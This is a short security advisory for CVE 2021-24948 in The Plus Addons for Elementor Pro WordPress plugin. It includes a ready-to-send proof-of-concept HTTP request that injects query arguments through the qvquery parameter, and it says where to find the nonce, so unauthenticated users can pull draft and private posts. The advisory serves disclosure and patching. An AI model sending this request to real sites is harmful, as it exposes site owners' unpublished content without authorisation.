The Plus Addons for Elementor Pro < 5.0.7 – Sensitive Data Disclosure | CVE 2021-24948

Description

The plugin does not validate the qvquery parameter of the tp_get_dl_post_info_ajax AJAX action, which could allow unauthenticated users to retrieve sensitive information, such as private and draft posts

Proof of Concept

The following request allow an unauthenticated user to get the draft posts (the nonce can be retrieved by looking at the source code of pages/posts for 'var theplus_nonce = "xxxx";')

POST /wp-admin/admin-ajax.php HTTP/2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

action=tp_get_dl_post_info_ajax&security=a71d02fefb&product_id=1&qvquery=post%26post_status=draft%26p=%26post_type=any%26nopaging=true